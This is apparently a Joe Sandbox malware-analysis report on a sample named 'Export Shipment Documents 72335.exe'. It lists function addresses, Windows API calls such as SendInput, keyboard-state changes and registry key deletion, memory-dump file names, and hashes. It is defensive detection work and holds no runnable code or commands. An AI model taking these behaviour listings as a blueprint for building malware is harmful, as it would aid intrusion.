                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CurrentHandleProcess$Duplicate
                                                                                                                                                                                                          • String ID: nul
                                                                                                                                                                                                          • API String ID: 2124370227-2873401336
                                                                                                                                                                                                          • Opcode ID: 1f0ba76bcec97c73efa3faab39b1dec00fe260a428cb25b20c1b65e4e3d5eb1c
                                                                                                                                                                                                          • Instruction ID: e5202fea31d744cc2812a948a395a4146b23d8233fafbd02014e3d546f800e0b
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 1f0ba76bcec97c73efa3faab39b1dec00fe260a428cb25b20c1b65e4e3d5eb1c
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 8921A070104301ABE320DF28D886B9B77E4AF94B24F504E1EF9D4972D1E3B5DA54CBA6
                                                                                                                                                                                                          Function 00443887 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetStdHandle.KERNEL32(000000F6), ref: 004438B7
                                                                                                                                                                                                            • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(0000002C,00000000,00000000,00000002,75572EE0,00000000,004437E2,?,0000002C,00000000,?,?,?), ref: 004356BD
                                                                                                                                                                                                            • Part of subcall function 0043569D: GetCurrentProcess.KERNEL32(?,00000000,?,?,?), ref: 004356C1
                                                                                                                                                                                                            • Part of subcall function 0043569D: DuplicateHandle.KERNEL32(00000000,?,?,?), ref: 004356C4
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CurrentHandleProcess$Duplicate
                                                                                                                                                                                                          • String ID: nul
                                                                                                                                                                                                          • API String ID: 2124370227-2873401336
                                                                                                                                                                                                          • Opcode ID: 1c1504a6ed80816e8cc684f5e798812a6452e5ed6eae5ac994518d836d8835bd
                                                                                                                                                                                                          • Instruction ID: 183321404fa0000a7fb955016a75d3ae5bd0bbc3c7f5d4043dd6f74a8503dfc6
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 1c1504a6ed80816e8cc684f5e798812a6452e5ed6eae5ac994518d836d8835bd
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 4E2182701002019BE210DF28DC45F9BB7E4AF54B34F204A1EF9E4962D0E7759654CB56
                                                                                                                                                                                                          Function 004412AE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 84windowlibraryCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00441333
                                                                                                                                                                                                          • LoadLibraryW.KERNEL32(?,?,?,?,0047B4D0,?,?,?,?,?,?,?,?,?,00000000), ref: 0044133A
                                                                                                                                                                                                          • SendMessageW.USER32(?,00000467,00000000,?), ref: 00441352
                                                                                                                                                                                                          • DestroyWindow.USER32(00000000,?,00000467,00000000,?,?,?,?,0047B4D0,?,?,?,?,?,?), ref: 0044135B
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend$DestroyLibraryLoadWindow
                                                                                                                                                                                                          • String ID: SysAnimate32
                                                                                                                                                                                                          • API String ID: 3529120543-1011021900
                                                                                                                                                                                                          • Opcode ID: 7eb070968e116bc4f0d30e0eba70c7f8d943bdaa5f5f9b6b4db71aa758301bcd
                                                                                                                                                                                                          • Instruction ID: 28effd0bdeb99d0e0a50349a2d6ccdc4655b9339127a2247ff1827a793b197f6
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 7eb070968e116bc4f0d30e0eba70c7f8d943bdaa5f5f9b6b4db71aa758301bcd
                                                                                                                                                                                                          • Instruction Fuzzy Hash: D0216271204301ABF7209AA5DC84F6B73ECEBD9724F104A1EF651D72E0D6B4DC818729
                                                                                                                                                                                                          Function 00443009 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 82windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000001), ref: 0044304E
                                                                                                                                                                                                          • TranslateMessage.USER32(?), ref: 0044308B
                                                                                                                                                                                                          • DispatchMessageW.USER32(?), ref: 00443096
                                                                                                                                                                                                          • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 004430AD
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Message$Peek$DispatchTranslate
                                                                                                                                                                                                          • String ID: *.*
                                                                                                                                                                                                          • API String ID: 1795658109-438819550
                                                                                                                                                                                                          • Opcode ID: a5394e60fa5dc12563cec3cf09e66162f870e5be06c650d2d1f2ad27f88770fd
                                                                                                                                                                                                          • Instruction ID: a39ada88e739a490af96418dc0f35d82e94fc94c1e76e22fe960a83301852fb1
                                                                                                                                                                                                          • Opcode Fuzzy Hash: a5394e60fa5dc12563cec3cf09e66162f870e5be06c650d2d1f2ad27f88770fd
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 9F2138715183419EF720DF289C80FA3B7949B60B05F008ABFF66492191E6B99608C76E
                                                                                                                                                                                                          Function 004609BD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                                            • Part of subcall function 004389A1: SendMessageTimeoutW.USER32(00000001,00000000,00000000,00000000,00000002,00001388,004848E8), ref: 004389C0
                                                                                                                                                                                                            • Part of subcall function 004389A1: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 004389D3
                                                                                                                                                                                                            • Part of subcall function 004389A1: GetCurrentThreadId.KERNEL32 ref: 004389DA
                                                                                                                                                                                                            • Part of subcall function 004389A1: AttachThreadInput.USER32(00000000), ref: 004389E1
                                                                                                                                                                                                          • GetFocus.USER32 ref: 004609EF
                                                                                                                                                                                                            • Part of subcall function 004389EB: GetParent.USER32(?), ref: 004389F7
                                                                                                                                                                                                            • Part of subcall function 004389EB: GetParent.USER32(?), ref: 00438A04
                                                                                                                                                                                                          • GetClassNameW.USER32(?,?,00000100), ref: 00460A37
                                                                                                                                                                                                          • EnumChildWindows.USER32(?,00445A31,?), ref: 00460A60
                                                                                                                                                                                                          • __swprintf.LIBCMT ref: 00460A7A
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Thread$Parent$AttachChildClassCurrentEnumFocusInputMessageNameProcessSendTimeoutWindowWindows__swprintf_wcslen
                                                                                                                                                                                                          • String ID: %s%d
                                                                                                                                                                                                          • API String ID: 991886796-1110647743
                                                                                                                                                                                                          • Opcode ID: 4a64ff5b06e5e341b473abb9bc2bdd7182ed8da111ba9effa567358a3114916c
                                                                                                                                                                                                          • Instruction ID: 20a4aa43144560c0524e92d1094e5dcb4402c89d1d481f65a72662ac57dae138
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 4a64ff5b06e5e341b473abb9bc2bdd7182ed8da111ba9effa567358a3114916c
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 7521A4712403046BD610FB65DC8AFEFB7ACAF98704F00481FF559A7181EAB8A509877A
                                                                                                                                                                                                          Function 0040F790 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: _memset$_sprintf
                                                                                                                                                                                                          • String ID: %02X
                                                                                                                                                                                                          • API String ID: 891462717-436463671
                                                                                                                                                                                                          • Opcode ID: 3d61b25fa3990800e5a694d7793c27d494b4b6e65897825e99c1223689708875
                                                                                                                                                                                                          • Instruction ID: c3235ccac5cd273424cb9b73a8b9e0f10e05fa8943de770f4571b5c3e9b76774
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 3d61b25fa3990800e5a694d7793c27d494b4b6e65897825e99c1223689708875
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 5B11E97225021167D314FA698C93BEE724CAB45704F50453FF541A75C1EF6CB558839E
                                                                                                                                                                                                          Function 0040F3B0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 49COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • _memset.LIBCMT ref: 0042CD00
                                                                                                                                                                                                          • GetOpenFileNameW.COMDLG32 ref: 0042CD51
                                                                                                                                                                                                            • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\Export Shipment Documents 72335.exe,?,C:\Users\user\Desktop\Export Shipment Documents 72335.exe,004A8E80,C:\Users\user\Desktop\Export Shipment Documents 72335.exe,0040F3D2), ref: 0040FFCA
                                                                                                                                                                                                            • Part of subcall function 00410130: SHGetMalloc.SHELL32(00000000), ref: 0041013A
                                                                                                                                                                                                            • Part of subcall function 00410130: SHGetDesktopFolder.SHELL32(?,004A8E80), ref: 00410150
                                                                                                                                                                                                            • Part of subcall function 00410130: _wcscpy.LIBCMT ref: 00410160
                                                                                                                                                                                                            • Part of subcall function 00410130: SHGetPathFromIDListW.SHELL32(?,?), ref: 00410197
                                                                                                                                                                                                            • Part of subcall function 00410130: _wcscpy.LIBCMT ref: 004101AC
                                                                                                                                                                                                            • Part of subcall function 00410020: GetFullPathNameW.KERNEL32(?,00000104,?,?,?), ref: 00410037
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: NamePath$Full_wcscpy$DesktopFileFolderFromListMallocOpen_memset
                                                                                                                                                                                                          • String ID: $OH$@OH$X
                                                                                                                                                                                                          • API String ID: 3491138722-1394974532
                                                                                                                                                                                                          • Opcode ID: b307b7495d9e484b77ad3edce91dc90ef7c994e26f1a80758083a935cdf7c966
                                                                                                                                                                                                          • Instruction ID: e3e81f3fa603e1d093c5df9e9287f390c0398a0e5563e0e16fb911f44c5f658a
                                                                                                                                                                                                          • Opcode Fuzzy Hash: b307b7495d9e484b77ad3edce91dc90ef7c994e26f1a80758083a935cdf7c966
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 2111C2B02043405BC311EF19984175FBBE9AFD5308F14882EF68497292D7FD854DCB9A
                                                                                                                                                                                                          Function 0044C379 Relevance: 7.6, APIs: 5, Instructions: 137windowkeyboardCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetKeyboardState.USER32(?,?,00000001,00000001,?,00000000), ref: 0044C3DA
                                                                                                                                                                                                          • SetKeyboardState.USER32(00000080), ref: 0044C3ED
                                                                                                                                                                                                          • PostMessageW.USER32(00000000,00000105,?,?), ref: 0044C441
                                                                                                                                                                                                          • PostMessageW.USER32(00000000,00000101,?,?), ref: 0044C465
                                                                                                                                                                                                          • SendInput.USER32 ref: 0044C509
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: KeyboardMessagePostState$InputSend
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3031425849-0
                                                                                                                                                                                                          • Opcode ID: b49b686b41cf8e4dc8898cf8a112ca1a8544ab09a95107e5a7613c5accf95fc9
                                                                                                                                                                                                          • Instruction ID: f46f63d78903415e516a46676784f6fcea1caa301ceb581e17347d916cd8316d
                                                                                                                                                                                                          • Opcode Fuzzy Hash: b49b686b41cf8e4dc8898cf8a112ca1a8544ab09a95107e5a7613c5accf95fc9
                                                                                                                                                                                                          • Instruction Fuzzy Hash: DB413B715462446FF760AB24D944BBFBB94AF99324F04061FF9D4122C2D37D9908C77A
                                                                                                                                                                                                          Function 004422B9 Relevance: 7.6, APIs: 5, Instructions: 108registryCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • RegEnumKeyExW.ADVAPI32 ref: 004422F0
                                                                                                                                                                                                          • RegOpenKeyExW.ADVAPI32(?,00000000,00000000,?,?), ref: 0044232B
                                                                                                                                                                                                          • RegCloseKey.ADVAPI32(00000000), ref: 0044234E
                                                                                                                                                                                                          • RegDeleteKeyW.ADVAPI32(?,?), ref: 00442390
                                                                                                                                                                                                          • RegEnumKeyExW.ADVAPI32(?,00000000), ref: 004423C0
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Enum$CloseDeleteOpen
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2095303065-0
                                                                                                                                                                                                          • Opcode ID: 367b6e42355be36f427f5e4c5f923650598af64a8eac08207e4f2af605b886a1
                                                                                                                                                                                                          • Instruction ID: 24d8057b763805d248a02a33893b377b1579bd56aab3fff97e90bb3d062a49ad
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 367b6e42355be36f427f5e4c5f923650598af64a8eac08207e4f2af605b886a1
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 0C3150721043056EE210DF94DD84FBF73ECEBC9314F44492EBA9596141D7B8E9098B6A
                                                                                                                                                                                                          Function 0045C277 Relevance: 7.6, APIs: 5, Instructions: 105COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetPrivateProfileSectionW.KERNEL32(00000000,?,?,00007FFF), ref: 0045C2F4
                                                                                                                                                                                                          • GetPrivateProfileSectionW.KERNEL32(00000000,00000003,?,00000003), ref: 0045C31B
                                                                                                                                                                                                          • WritePrivateProfileSectionW.KERNEL32(00000000,00000003,?), ref: 0045C363
                                                                                                                                                                                                          • WritePrivateProfileStringW.KERNEL32(00000000,?,00000000,00000000), ref: 0045C385
                                                                                                                                                                                                          • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0045C392
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: PrivateProfile$SectionWrite$String
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2832842796-0
                                                                                                                                                                                                          • Opcode ID: c76cc1094b5fb1fc43fcb7877a7661b5ae667b5fa7796de5023eb6f45200691f
                                                                                                                                                                                                          • Instruction ID: eb365ed5c03c4bb3a44f9ddbc5128f2f56e5f8affd5b6ace934fe40af23b551f
                                                                                                                                                                                                          • Opcode Fuzzy Hash: c76cc1094b5fb1fc43fcb7877a7661b5ae667b5fa7796de5023eb6f45200691f
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 00318675240305ABD610DFA1DC85F9BB3A8AF84705F00891DF94497292D7B9E889CB94
                                                                                                                                                                                                          Function 0044796B Relevance: 7.6, APIs: 5, Instructions: 96COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetClientRect.USER32(?,?), ref: 00447997
                                                                                                                                                                                                          • GetCursorPos.USER32(?), ref: 004479A2
                                                                                                                                                                                                          • ScreenToClient.USER32(?,?), ref: 004479BE
                                                                                                                                                                                                          • WindowFromPoint.USER32(?,?), ref: 004479FF
                                                                                                                                                                                                          • DefDlgProcW.USER32(?,00000020,?,?), ref: 00447A78
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Client$CursorFromPointProcRectScreenWindow
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1822080540-0
                                                                                                                                                                                                          • Opcode ID: c356f0f93048ebf3c0a873f2be17aa192b5fb9472fb724aa4a6a449873fe30ba
                                                                                                                                                                                                          • Instruction ID: e9c1e18ea4fcc9a2ad4b32cd349e8b57ec7287094a91df3c43d19f1875151664
                                                                                                                                                                                                          • Opcode Fuzzy Hash: c356f0f93048ebf3c0a873f2be17aa192b5fb9472fb724aa4a6a449873fe30ba
                                                                                                                                                                                                          • Instruction Fuzzy Hash: DE3188742082029BD710CF19D88596FB7A9EBC8714F144A1EF88097291D778EA57CBAA
                                                                                                                                                                                                          Function 00447BAF Relevance: 7.6, APIs: 5, Instructions: 95COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetWindowRect.USER32(?,?), ref: 00447C1B
                                                                                                                                                                                                          • ScreenToClient.USER32(?,?), ref: 00447C39
                                                                                                                                                                                                          • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00447C4C
                                                                                                                                                                                                          • Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00447C93
                                                                                                                                                                                                          • EndPaint.USER32(?,?), ref: 00447CD1
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ClientPaintRectRectangleScreenViewportWindow
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 659298297-0
                                                                                                                                                                                                          • Opcode ID: a6d698a2242c6caf7091173c4181dadfabb51550506680b35635a03376f271bc
                                                                                                                                                                                                          • Instruction ID: 653bb342b0117225c29b14224c0e663a7b864e912777eddc33bb147bcfad3e12
                                                                                                                                                                                                          • Opcode Fuzzy Hash: a6d698a2242c6caf7091173c4181dadfabb51550506680b35635a03376f271bc
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 8A3150706043019FE320CF15D9C8F7B7BE8EB89724F044A6EF994873A1D774A8468B69
                                                                                                                                                                                                          Function 00447870 Relevance: 7.6, APIs: 5, Instructions: 94windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetCursorPos.USER32(?), ref: 004478A7
                                                                                                                                                                                                          • TrackPopupMenuEx.USER32(00000000,00000000,?,?,?,00000000), ref: 004478C3
                                                                                                                                                                                                          • DefDlgProcW.USER32(?,0000007B,?,?,004A83D8,?,004A83D8,?), ref: 004478E7
                                                                                                                                                                                                          • GetCursorPos.USER32(?), ref: 00447935
                                                                                                                                                                                                          • TrackPopupMenuEx.USER32(00000000,00000000,?,?,?,00000000), ref: 0044795B
